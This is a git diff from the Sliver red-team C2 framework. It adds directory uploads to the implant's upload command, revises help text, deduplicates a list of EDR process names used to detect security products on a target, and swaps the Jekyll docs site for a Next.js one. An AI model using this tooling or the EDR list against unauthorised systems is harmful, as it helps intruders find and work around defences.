overwrite, _ := cmd.Flags().GetBool("overwrite")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -58,12 +297,6 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
}
src, _ := filepath.Abs(localPath)
_, err := os.Stat(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fileName := filepath.Base(src)
if remotePath == "" {
remotePath = fileName
@@ -71,22 +304,103 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
dst := remotePath
fileBuf, err := os.ReadFile(src)
// Get information on the source - is it a directory?
srcPath, srcFilter := determineDirPathFilter(src)
sourceInfomation, err := os.Stat(src)
if err == nil && sourceInfomation.IsDir() {
if !strings.HasSuffix(src, string(os.PathSeparator)) {
src += string(os.PathSeparator)
}
srcPath = src
srcFilter = ""
}
if err != nil {
con.PrintErrorf("%s\n", err)
if errors.Is(err, fs.ErrNotExist) {
// Check to see if src ends with a filter
sourceInfomation, err = os.Stat(srcPath)
if errors.Is(err, fs.ErrNotExist) {
con.PrintErrorf("The source %s does not exist.\n", src)
return
} else if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
if errors.Is(err, fs.ErrPermission) {
con.PrintErrorf("Permissions error when trying to read %s.\n", src)
return
}
}
// If we still do not have information about the source at this point, bail.
if sourceInfomation == nil {
con.PrintErrorf("Could not get information about the upload source %s\n", src)
return
}
uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
if sourceInfomation.IsDir() {
// tar the directory and send it over
uploadData, readFiles, unreadableFiles, err = tarDirectory(srcPath, localPath, srcFilter, recurse, preserve)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if readFiles == 0 {
con.PrintErrorf("Could not find any files matching %s\n", src)
return
}
isDirectory = true
fileName = ""
} else {
uploadData, err = os.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
readFiles = 1
unreadableFiles = 0
isDirectory = false
fileName = filepath.Base(src)
}
uploadGzip, _ := new(encoders.Gzip).Encode(uploadData)
var readFilesQualifier string
var unsuccessfulFiles string
if readFiles == 1 {
readFilesQualifier = ""
} else {
readFilesQualifier = "s"
}
if unreadableFiles > 0 {
if unreadableFiles == 1 {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d file)", unreadableFiles)
} else {
unsuccessfulFiles = fmt.Sprintf(" (could not read %d files)", unreadableFiles)
}
} else {
unsuccessfulFiles = ""
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)
con.SpinUntil(fmt.Sprintf("Uploading %d file%s %sfrom %s to %s", readFiles,
readFilesQualifier,
unsuccessfulFiles,
src,
dst), ctrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
Request: con.ActiveTarget.Request(cmd),
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
FileName: fileName,
IsDirectory: isDirectory,
Overwrite: overwrite,
})
ctrl <- true
<-ctrl
@@ -115,5 +429,21 @@ func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", upload.Response.Err)
return
}
con.PrintInfof("Wrote file to %s\n", upload.Path)
writtenFileQualifier := "s"
if upload.WrittenFiles == 1 {
writtenFileQualifier = ""
}
unwrittenFileQualifier := "s"
if upload.UnwriteableFiles == 1 {
unwrittenFileQualifier = ""
}
if upload.WrittenFiles > 0 {
if upload.UnwriteableFiles > 0 {
con.PrintInfof("Wrote %d file%s successfully (%d file%s not written) to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
} else {
con.PrintInfof("Wrote %d file%s successfully to %s\n", upload.WrittenFiles, writtenFileQualifier, upload.Path)
}
} else {
con.PrintInfof("Could not write %d file%s to %s: the files already exist on the target\n", upload.UnwriteableFiles, unwrittenFileQualifier, upload.Path)
}
}
+25 -1
View File
@@ -334,7 +334,31 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
[[.Bold]]About:[[.Normal]] Upload a file or directory to the remote system.
[[.Bold]][[.Underline]]Paths[[.Normal]]
You can preserve directory structures using the -p switch. Directories will be preserved as they are specified in the source path.
For example, the command upload -p /home/me/docs /tmp will upload the files in /home/me/docs to /tmp/home/me/docs on the target.
However, if you are in the local directory /home/me, and issue the command upload -p docs /tmp, the files in /home/me/docs will
be uploaded to /tmp/docs on the target. This is equivalent to upload /home/me/docs /tmp/docs (notice the lack of the -p switch).
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit uploads to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
upload /etc/*.conf will upload all files from /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Uploads can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [pid]
[[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)`
+11 -7
View File
@@ -53,11 +53,11 @@ var knownSecurityTools = map[string][]string{
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -212,12 +212,16 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
products := []string{}
uniqProducts := map[string]string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
products = append(products, secTool[1])
uniqProducts[secTool[1]] = secTool[0]
}
}
products := make([]string, 0, len(uniqProducts))
for name := range uniqProducts {
products = append(products, name)
}
return products
}
+4 -1
View File
@@ -1026,7 +1026,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
Short: "Upload a file",
Short: "Upload a file or directory",
Long: help.GetHelpFor([]string{consts.UploadStr}),
Args: cobra.RangeArgs(1, 2),
Run: func(cmd *cobra.Command, args []string) {
@@ -1037,6 +1037,9 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
sliver.AddCommand(uploadCmd)
Flags("", false, uploadCmd, func(f *pflag.FlagSet) {
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
f.BoolP("recurse", "r", false, "recursively upload a directory")
f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination")
f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(uploadCmd).PositionalCompletion(
-24
View File
@@ -1,24 +0,0 @@
---
layout: default
---
<style type="text/css" media="screen">
.container {
margin: 10px auto;
max-width: 600px;
text-align: center;
}
h1 {
margin: 30px 0;
font-size: 4em;
line-height: 1;
letter-spacing: -1px;
}
</style>
<div class="container">
<h1>404</h1>
<p><strong>Page not found :(</strong></p>
<p>The requested page could not be found.</p>
</div>
-41
View File
@@ -1,41 +0,0 @@
source "https://rubygems.org"
# Hello! This is where you manage which Jekyll version is used to run.
# When you want to use a different version, change it below, save the
# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
#
# bundle exec jekyll serve
#
# This will help ensure the proper Jekyll version is running.
# Happy Jekylling!
gem "jekyll", "~> 3.9.0"
# This is the default theme for new Jekyll sites. You may change this to anything you like.
# gem "minima", "~> 2.0"
gem "github-pages", group: :jekyll_plugins
# If you want to use GitHub Pages, remove the "gem "jekyll"" above and
# uncomment the line below. To upgrade, run `bundle update github-pages`.
# gem "github-pages", group: :jekyll_plugins
# If you have any plugins, put them here!
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.6"
end
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
# and associated library.
install_if -> { RUBY_PLATFORM =~ %r!mingw|mswin|java! } do
gem "tzinfo", "~> 1.2"
gem "tzinfo-data"
end
# Performance-booster for watching directories on Windows
gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
# kramdown v2 ships without the gfm parser by default. If you're using
# kramdown v1, comment out this line.
gem "kramdown-parser-gfm"
gem "webrick", "~> 1.8"
-274
View File
@@ -1,274 +0,0 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.6.1)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
tzinfo (~> 1.1)
zeitwerk (~> 2.2, >= 2.2.2)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
coffee-script (2.4.1)
coffee-script-source
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.9)
concurrent-ruby (1.2.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.16.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (2.7.4)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
ffi (1.15.5)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (228)
github-pages-health-check (= 1.17.9)
jekyll (= 3.9.3)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.4.0)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
jekyll-readme-index (= 0.3.0)
jekyll-redirect-from (= 0.16.0)
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.8.0)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.2)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.4)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.13.6, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.3)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
jekyll (3.9.3)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (>= 0.7, < 2)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
liquid (~> 4.0)
mercenary (~> 0.3.3)
pathutil (~> 0.9)
rouge (>= 1.7, < 4)
safe_yaml (~> 1.0)
jekyll-avatar (0.7.0)
jekyll (>= 3.0, < 5.0)
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.4.0)
commonmarker (~> 0.23.7)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
rouge (>= 2.0, < 5.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
jekyll (>= 3.7, < 5.0)
jekyll-gist (1.5.0)
octokit (~> 4.2)
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
jekyll-optional-front-matter (0.3.2)
jekyll (>= 3.0, < 5.0)
jekyll-paginate (1.1.0)
jekyll-readme-index (0.3.0)
jekyll (>= 3.0, < 5.0)
jekyll-redirect-from (0.16.0)
jekyll (>= 3.3, < 5.0)
jekyll-relative-links (0.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-remote-theme (0.4.3)
addressable (~> 2.0)
jekyll (>= 3.5, < 5.0)
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.8.0)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
jemoji (0.12.0)
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.2)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.4)
listen (3.8.0)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.17.0)
nokogiri (1.14.3)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.7)
racc (1.6.2)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby2_keywords (0.0.5)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
sass-listen (~> 4.0.0)
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.9.2)
addressable (>= 2.3.5)
faraday (>= 0.17.3, < 3)
simpleidn (0.2.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.11)
thread_safe (~> 0.1)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (1.8.0)
wdm (0.1.1)
webrick (1.8.1)
zeitwerk (2.6.7)
PLATFORMS
ruby
DEPENDENCIES
github-pages
jekyll (~> 3.9.0)
jekyll-feed (~> 0.6)
kramdown-parser-gfm
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.0)
webrick (~> 1.8)
BUNDLED WITH
2.4.6
-51
View File
@@ -1,51 +0,0 @@
# Welcome to Jekyll!
#
# This config file is meant for settings that affect your whole blog, values
# which you are expected to set up once and rarely edit after that. If you find
# yourself editing this file very often, consider using Jekyll's data files
# feature for the data you need to update frequently.
#
# For technical reasons, this file is *NOT* reloaded automatically when you use
# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
# Site settings
# These are used to personalize your new site. If you look in the HTML files,
# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
# You can create any custom variable you would like, and they will be accessible
# in the templates via {{ site.myvariable }}.
title: Sliver
description: >- # this means to ignore newlines until "baseurl:"
Sliver is an open source cross-platform adversary emulation/red team framework.
baseurl: "" # the subpath of your site, e.g. /blog
url: "https://sliver.sh/"
github:
latest_url: https://github.com/BishopFox/sliver/releases/latest
repository_url: https://github.com/BishopFox/sliver
# Build settings
markdown: kramdown
theme: jekyll-theme-hacker
show_downloads: true
plugins:
- jekyll-feed
plugins:
- jekyll-notion
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
notion:
fetch_on_watch: true
databases:
- id: 4bbf1c77cabc46e09428c871283683d3
# Exclude from processing.
# The following items will not be processed, by default. Create a custom list
# to override the default setting.
exclude:
- Gemfile
- Gemfile.lock
- CNAME
- .gitignore
- _site
-39
View File
@@ -1,39 +0,0 @@
<!DOCTYPE html>
<html lang="{{ site.lang | default: "en-US" }}">
<head>
<meta charset='utf-8'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
{% seo %}
</head>
<body>
<header>
<div class="container">
<a id="a-title" href="{{ '/' | relative_url }}">
<h1>{{ site.title | default: site.github.repository_name }}</h1>
</a>
<h2>{{ site.description | default: site.github.project_tagline }}</h2>
<section id="downloads">
{% if site.show_downloads %}
<a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
{% endif %}
<a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
</section>
</div>
</header>
<div class="container">
<section id="main_content">
{{ content }}
</section>
</div>
</body>
</html>
-14
View File
@@ -1,14 +0,0 @@
---
layout: default
---
<small>{{ page.date | date: "%-d %B %Y" }}</small>
<h1>{{ page.title }}</h1>
<p class="view">by {{ page.author | default: site.author }}</p>
{{ content }}
{% if page.tags %}
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
{% endif %}
-18
View File
@@ -1,18 +0,0 @@
---
layout: default
title: About
permalink: /about/
---
This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
You can find the source code for Minima at GitHub:
[jekyll][jekyll-organization] /
[minima](https://github.com/jekyll/minima)
You can find the source code for Jekyll at GitHub:
[jekyll][jekyll-organization] /
[jekyll](https://github.com/jekyll/jekyll)
[jekyll-organization]: https://github.com/jekyll
-11
View File
@@ -1,11 +0,0 @@
---
layout: default
---
<ul>
{% for post in site.posts %}
<li>
<a href="{{ post.url }}">{{ post.title }}</a>
</li>
{% endfor %}
</ul>
+3
View File
@@ -0,0 +1,3 @@
{
"extends": "next/core-web-vitals"
}
+43
View File
@@ -0,0 +1,43 @@
# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
# generated files
public/sitemap.json
public/docs.json
# code editor files
.vscode/
# dependencies
/node_modules
/.pnp
.pnp.js
.yarn/install-state.gz
# testing
/coverage
# next.js
/.next/
/out/
# production
/build
# misc
.DS_Store
*.pem
# debug
npm-debug.log*
yarn-debug.log*
yarn-error.log*
# local env files
.env*.local
# vercel
.vercel
# typescript
*.tsbuildinfo
next-env.d.ts
+3
View File
@@ -0,0 +1,3 @@
# Sliver Docs
The source code for the Sliver documentation site.
+21
View File
@@ -0,0 +1,21 @@
declare module "asciinema-player" {
export function create(
src: string,
element: HTMLElement | null,
// START asciinemaOptions
opts: {
cols?: string,
rows?: string,
autoPlay?: boolean,
preload?: boolean,
loop?: boolean | number,
startAt?: number | string,
speed?: number,
idleTimeLimit?: number,
theme?: string,
poster?: string,
fit?: string,
fontSize?: string
}
)
}
+41
View File
@@ -0,0 +1,41 @@
import "asciinema-player/dist/bundle/asciinema-player.css";
import React from "react";
type AsciinemaPlayerProps = {
src: string;
cols?: string;
rows?: string;
autoPlay?: boolean;
preload?: boolean;
loop?: boolean | number;
startAt?: number | string;
speed?: number;
idleTimeLimit?: number;
theme?: string;
poster?: string;
fit?: string;
fontSize?: string;
};
function AsciinemaPlayer({ src, ...asciinemaOptions }: AsciinemaPlayerProps) {
const ref = React.useRef<HTMLDivElement>(null);
const [player, setPlayer] =
React.useState<typeof import("asciinema-player")>();
React.useEffect(() => {
import("asciinema-player").then((p) => {
setPlayer(p);
});
}, []);
React.useEffect(() => {
const currentRef = ref.current;
const instance = player?.create(src, currentRef, asciinemaOptions);
return () => {
instance?.dispose();
};
}, [src, player, asciinemaOptions]);
return <div ref={ref} />;
}
export default AsciinemaPlayer;
+91
View File
@@ -0,0 +1,91 @@
import { Themes } from "@/util/themes";
import { faLinux, faPython } from "@fortawesome/free-brands-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import Editor, { loader } from "@monaco-editor/react";
import { useTheme } from "next-themes";
import React, { useRef } from "react";
export type CodeSchema = {
name: string;
script_type: string;
source_code: string;
};
export type CodeViewerProps = {
script: CodeSchema;
fontSize?: number;
className?: string;
};
export function renderScriptTypeIcon(key: string, className?: string) {
switch (key) {
case "bash":
return (
<FontAwesomeIcon icon={faLinux} className={className || undefined} />
);
case "python":
return (
<FontAwesomeIcon icon={faPython} className={className || undefined} />
);
default:
return <></>;
}
}
const CodeViewer = (props: CodeViewerProps) => {
const { theme } = useTheme();
// Editor
loader.config({ paths: { vs: "/js/monaco" } });
const editorRef = useRef(null as any);
function handleEditorDidMount(editor: any, monaco: any) {
editorRef.current = editor;
}
const vsTheme = React.useMemo(() => {
return theme === Themes.DARK ? "vs-dark" : undefined;
}, [theme]);
const language = React.useMemo(() => {
switch (props.script?.script_type) {
case "bash":
return "shell";
default:
return props.script?.script_type || "shell";
}
}, [props]);
const [scriptSourceCode, setScriptSourceCode] = React.useState(
props.script.source_code
);
const [fontSize, setFontSize] = React.useState(props.fontSize || 14);
const editorContainerClassName = React.useMemo(() => {
return theme === Themes.DARK
? "col-span-12 mt-4 rounded-2xl overflow-hidden"
: "col-span-12 mt-4 rounded-2xl overflow-hidden border border-gray-300";
}, [theme]);
return (
<div className={editorContainerClassName}>
<Editor
className={props.className || "min-h-[200px]"}
theme={vsTheme}
defaultLanguage={language}
defaultValue={scriptSourceCode}
onChange={(value, event) => {
setScriptSourceCode(value || "");
}}
onMount={handleEditorDidMount}
options={{
readOnly: true,
fontFamily: "Fira Code",
fontLigatures: true,
fontSize: fontSize,
}}
/>
</div>
);
};
export default CodeViewer;
@@ -0,0 +1,26 @@
export type SliversIconProps = {
className?: string;
fill?: string;
height?: number;
width?: number;
};
export const SliversIcon = (props: SliversIconProps) => {
return (
<svg
aria-hidden="true"
focusable="false"
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 912 1024"
className={props.className}
height={props.height || 24}
width={props.width}
>
<path
fill={props.fill ? props.fill : "currentColor"}
d="M3.767 709.26s-38.415-249.17 142.452-440.946C326.97 76.538 584.482 63.816 759.689 133.127c0 0-32.847 29.271-32.847 65.806 0 36.444 21.936 58.378 45.658 82.101 23.723 23.815 135.095 158.909 135.095 312.294 0 153.453-125.972 336.015-324.992 336.015-199.042 0-312.293-144.239-328.682-310.414 0 0 96.771 164.294 255.611 164.294s213.62-125.971 213.62-219.167c0-93.034-51.113-272.02-275.666-272.02-224.645 0-379.795 199.042-443.72 417.224z"
></path>
</svg>
);
};
+102
View File
@@ -0,0 +1,102 @@
import { SliversIcon } from "@/components/icons/slivers";
import { Themes } from "@/util/themes";
import { faHome, faMoon, faSun } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Button,
Link,
Navbar,
NavbarBrand,
NavbarContent,
NavbarItem,
} from "@nextui-org/react";
import { useTheme } from "next-themes";
import { useRouter } from "next/router";
import React from "react";
export type TopNavbarProps = {};
export default function TopNavbar(props: TopNavbarProps) {
const router = useRouter();
const { theme, setTheme } = useTheme();
const lightDarkModeIcon = React.useMemo(
() => (theme === Themes.DARK ? faSun : faMoon),
[theme]
);
return (
<Navbar
isBordered
maxWidth="full"
classNames={{
item: [
"flex",
"relative",
"h-full",
"items-center",
"data-[active=true]:after:content-['']",
"data-[active=true]:after:absolute",
"data-[active=true]:after:bottom-0",
"data-[active=true]:after:left-0",
"data-[active=true]:after:right-0",
"data-[active=true]:after:h-[2px]",
"data-[active=true]:after:rounded-[2px]",
"data-[active=true]:after:bg-primary",
],
}}
>
<NavbarBrand>
<SliversIcon />
<span className="hidden sm:block font-bold text-inherit">
&nbsp; Sliver C2
</span>
</NavbarBrand>
<NavbarContent>
<NavbarItem isActive={router.pathname === "/"}>
<Button
variant="light"
color={router.pathname === "/" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/")}
>
<FontAwesomeIcon fixedWidth icon={faHome} />
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/tutorials")}>
<Button
variant="light"
color={router.pathname === "/tutorials" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/tutorials")}
>
Tutorials
</Button>
</NavbarItem>
<NavbarItem isActive={router.pathname.startsWith("/docs")}>
<Button
variant="light"
color={router.pathname === "/docs" ? "primary" : "default"}
as={Link}
onPress={() => router.push("/docs")}
>
Docs
</Button>
</NavbarItem>
</NavbarContent>
<NavbarContent as="div" justify="end">
<Button
variant="light"
onPress={() => {
setTheme(theme === Themes.DARK ? Themes.LIGHT : Themes.DARK);
}}
>
<FontAwesomeIcon icon={lightDarkModeIcon} />
</Button>
</NavbarContent>
</Navbar>
);
}
+16
View File
@@ -0,0 +1,16 @@
/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
reactStrictMode: true,
images: {
unoptimized: true,
},
webpack: (config, { isServer }) => {
if (isServer) {
require('./prebuild/generate-docs');
}
return config;
}
}
module.exports = nextConfig;
+8562
View File
File diff suppressed because it is too large. Load diff
+41
View File
@@ -0,0 +1,41 @@
{
"name": "sliver-docs",
"version": "0.1.0",
"private": true,
